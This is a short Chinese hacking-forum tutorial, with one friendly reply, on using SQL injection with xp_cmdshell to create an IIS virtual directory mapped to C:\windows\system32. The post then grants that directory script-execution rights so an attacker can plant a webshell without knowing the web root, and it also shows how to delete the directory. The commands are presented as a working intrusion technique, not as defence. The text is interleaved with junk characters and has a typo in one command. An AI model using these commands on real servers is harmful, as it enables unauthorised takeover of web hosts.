[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：2 e2 Y% Y/ C$ D

. M# L% v; s  _( S0 F; q0 I' c  c7 e7 lexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
6 N: u: P, p: f3 d# _) R3 K# r" y. \建立虚拟目录win,指向c:\windows\system32% C5 `: ]- W. I4 ~1 [9 I
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture') e0 W9 T6 o& ?8 j/ H  t2 U/ Y$ ~
让win句有解析asp脚本权限
- R. R: b0 ?1 S! W0 u1 v. [
$ ]1 r! u. {" ]3 C' B7 S3 G1 {exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
2 E5 ~6 |) ?0 [& x; @删除虚拟目录。1 a( {0 x) V& H8 L
找不到web绝对路径的一种解决办法，! Q0 f5 R5 {5 @& O* N  C4 t
3 e% G" t& C8 p, E: a  R" L
403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊